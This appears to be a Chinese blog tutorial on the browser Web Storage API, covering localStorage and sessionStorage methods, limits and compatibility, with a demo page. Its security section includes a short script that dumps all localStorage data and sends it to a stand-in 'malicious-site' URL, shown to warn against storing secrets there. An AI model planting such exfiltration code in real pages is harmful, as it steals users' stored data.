概述

前篇：web API简介(二)：客户端储存之document.cookie API

客户端储存从某一方面来说和动态网站差不多。动态网站是用服务端来储存数据，而客户端储存是用客户端来储存数据。

Web Storage API就是现代HTML5客户端储存的方法之一。

Web Storage介绍

web storage的概念和cookie相似，区别是它是为了更大的容量存储设计的。cookie数据不能超过4K而且有最大条数限制，同时因为每次http请求都会携带cookie，所以cookie只适合保存很小的数据，但是webStorage可以达到5M或更大。

Web Storage使用起来比cookie更方便更有启发性。setItem getItem clearItem等。

webStorage只能操作字符串对象，所有的存储值都会为字符串数据。

语法

Storage对象：Web Storage API中作为sessionStorage和localStorage的接口。

sessionStorage：继承自Storage对象，关闭浏览器之后消失。利用Window.sessionStorage来进行操作。(Window对象可以省略)

localStorage：继承自Storage对象，关闭浏览器之后仍然一直存在。利用Window.localStorage来进行操作。(Window对象可以省略)

属性和方法：

(1)Storage.length：长度你懂的。

(2)Storage.key()：以n为参数，返回第n个key。

(3)Storage.getItem()：查操作。

(4)Storage.setItem()：增和改操作。

(5)Storage.removeItem()：删操作。

(5)Storage.clear()：删除所有。

安全性

Web Storage的安全性比cookie更糟糕。它甚至连HTTPONLY都没有。所以不要用它来储存敏感信息。

下面的代码可以获取使用localStorage存储在本地的所有信息。

    var i = 0;

    var str = "";

    while (localStorage.key(i) != null)

    {

        var key = localStorage.key(i);

        str += key + ": " + localStorage.getItem(key);

        i++;

    }

    document.location="http://your-malicious-site.com?stolen="+ str;

兼容性

兼容五大浏览器，不兼容IE<8(兼容IE8)。

实例

在里面的输入框中设定值，然后关闭浏览器，再打开我的博客的这篇文章，点击运行测试一下即可看到你设定的值(不是默认值)。

<html lang="en">

<head>

    <meta charset="UTF-8">

    <title>Document</title>

</head>

<body>

    <div id="user_text"></div>

    <input type="text" id="user_input">

    <button onclick="userDo()">输入</button>

    <button onclick="reset()">重置</button>

</body>

    <script type="text/javascript">

        //兼容性

        function storageAvailable(type) {

            try {

                var storage = window[type],

                    x = '__storage_test__';

                storage.setItem(x, x);

                storage.removeItem(x);

                return true;

            }

            catch(e) {

                return e instanceof DOMException && (

                    // everything except Firefox

                    e.code === 22 ||

                    // Firefox

                    e.code === 1014 ||

                    // test name field too, because code might not be present

                    // everything except Firefox

                    e.name === 'QuotaExceededError' ||

                    // Firefox

                    e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&

                    // acknowledge QuotaExceededError only if there's something already stored

                    storage.length !== 0;

            }

        };

        //初始化

        function setText () {

            if (!localStorage.getItem('usertext')) {

                userText.innerText = "默认值!请先在输入框中设定值(最好是字符串)";

            }

            else {

                userText.innerText = "你之前设定的值是：" + localStorage.getItem('usertext');

            }

        }

        var userText = document.getElementById("user_text");

        var userInput = document.getElementById("user_input");

        if (storageAvailable('localStorage')) {

          setText ();

        }

        else {

          userText.innerText = "你的浏览器不支持web storage!";

        };

        function userDo () {

            localStorage.setItem('usertext', userInput.value);

            setText ();

        };

        function reset () {

            localStorage.removeItem('usertext');

            setText ();

        };

    </script>

</html>

Document

输入
重置

<script type="text/javascript">
//兼容性
function storageAvailable(type) {
try {
var storage = window[type],
x = '__storage_test__';
storage.setItem(x, x);
storage.removeItem(x);
return true;
}
catch(e) {
return e instanceof DOMException && (
// everything except Firefox
e.code === 22 ||
// Firefox
e.code === 1014 ||
// test name field too, because code might not be present
// everything except Firefox
e.name === 'QuotaExceededError' ||
// Firefox
e.name === 'NS_ERROR_DOM_QUOTA_REACHED') &&
// acknowledge QuotaExceededError only if there's something already stored
storage.length !== 0;
}
};

    //初始化

    function setText () {

        if (!localStorage.getItem('usertext')) {

            userText.innerText = "默认值!请先在输入框中设定值(最好是字符串)";

        }

        else {

            userText.innerText = "你之前设定的值是：" + localStorage.getItem('usertext');

        }

    }

    var userText = document.getElementById("user_text");

    var userInput = document.getElementById("user_input");

    if (storageAvailable('localStorage')) {

      setText ();

    }

    else {

      userText.innerText = "你的浏览器不支持web storage!";

    };

    function userDo () {

        localStorage.setItem('usertext', userInput.value);

        setText ();

    };

    function reset () {

        localStorage.removeItem('usertext');

        setText ();

    };

&lt;/script>

web API简介(三)：客户端储存之Web Storage API的更多相关文章

  1. web API简介(二)：客户端储存之document.cookie API

    概述 前篇:web API简介(一):API,Ajax和Fetch 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据.document.cook ...

  2. Web API（三）：创建Web API项目

    在本篇文章中将讲解如何使用Visual Studio创建一个新的ASP.NET Web API项目. 在Visual Studio中有两种方式用于创建Web API项目: 1.创建带MVC的Web A ...

  3. web API简介(四)：客户端储存之IndexedDB API

    概述 前篇:web API简介(三):客户端储存之Web Storage API 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据. Index ...

  4. Web服务器学习总结（一）：web服务器简介

    一.WEB服务器 1.1.WEB服务器简介 1.Web服务器是指驻留于因特网上某种类型计算机的程序,是可以向发出请求的浏览器提供文档的程序.当Web浏览器(客户端)连到服务器上并请求文件时,服务器将处 ...

  5. J2EE基础之Web服务简介

    J2EE基础之Web服务简介 1.什么是Web服务? 在人们的日常生活中,经常会查询网页上某城市的天气信息,这些信息都是动态的.实时的,它是专业的气象站提供的一种服务.例如,在网上购物时,通常采用网上 ...

  6. Web Api 简介

    ASP.NET Web API 简介  ASP.NET MVC 4 包含了 ASP.NET Web API, 这是一个创建可以连接包括浏览器.移动设备等多种客户端的 Http 服务的新框架, ASP. ...

  7. Redis总结（五）缓存雪崩和缓存穿透等问题 Web API系列(三)统一异常处理 C#总结（一）AutoResetEvent的使用介绍（用AutoResetEvent实现同步） C#总结（二）事件Event 介绍总结 C#总结（三）DataGridView增加全选列 Web API系列(二)接口安全和参数校验 RabbitMQ学习系列（六）: RabbitMQ 高可用集群

    Redis总结(五)缓存雪崩和缓存穿透等问题   前面讲过一些redis 缓存的使用和数据持久化.感兴趣的朋友可以看看之前的文章,http://www.cnblogs.com/zhangweizhon ...

  8. [转]ASP.NET Web API（三）：安全验证之使用摘要认证(digest authentication)

    本文转自:http://www.cnblogs.com/parry/p/ASPNET_MVC_Web_API_digest_authentication.html 在前一篇文章中,主要讨论了使用HTT ...

  9. ASP.NET Web API（三）：安全验证之使用摘要认证(digest authentication)

    在前一篇文章中,主要讨论了使用HTTP基本认证的方法,因为HTTP基本认证的方式决定了它在安全性方面存在很大的问题,所以接下来看看另一种验证的方式:digest authentication,即摘要认 ...

随机推荐

  1. 1.Ansible安装以及配置

    本节内容以Centos7为系统环境进行讲解: 1.安装epel源,方便直接yum安装: wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun ...

  2. docker 网络配置

    先随便写几行命令 随后一点点的补充 端口映射实现访问容器. run -d -P training/webapp python app.py run -d -p 5000:5000 training/w ...

  3. 电商项目中使用Redis实现秒杀功能

    参与过抢购活动就知道,很明显的一点是商即便商品实际没有了也是可以下单成功的,但是在支付的时候会提示你商品没有了. 实现原理:list双向链表 使用redis队列,因为pop操作是原子的,即使有很多用户 ...

  4. 《Spring_Four》第一次作业：团队亮相

    part one: 1.队名:Spring_Four 2.团队成员组成:学号/姓名(标记团队组长) 201571030114 李蕾 201571030143 周甜甜 201571030139 张天旭( ...

  5. # 20175213 2018-2019-2 《Java程序设计》第2周学习总结

    ## 教材学习内容总结 在第二周的学习过程中,我学习了第二章和第三章的内容.第二章中,我学习了基本数据类型和类型转换运算以及与C语言有着相同和不同的数组.标识符由字母,下划线,美元符号和数字组成,并且 ...

  6. 深入理解Java中的IO

    深入理解Java中的IO 引言:     对程序语言的设计者来说,创建一个好的输入/输出(I/O)系统是一项艰难的任务 < Thinking in Java >   本文的目录视图如下: ...

  7. CAFE: a computational tool for the study of gene family evolution

    1.摘要 摘要:我们提出了CAFE(计算分析基因家族进化),这是一个统计分析基因家族进化规模的工具.它使用随机的出生和死亡过程来模拟一个系统发育过程中基因家族大小的进化.对于一个特定的系统发育树,并给 ...

  8. 了解各种不同意义上的new

    问题1:请说明new operator 和 operator  new的差异? 1.new   operator : 一般我们写代码的时候,例如:String *p = new String(&quo ...

  9. java简单的文件读写工具类

    import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.BufferedRead ...

  10. windows 远程连接“发生身份验证错误 要求的函数不受支持”

    Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\P ...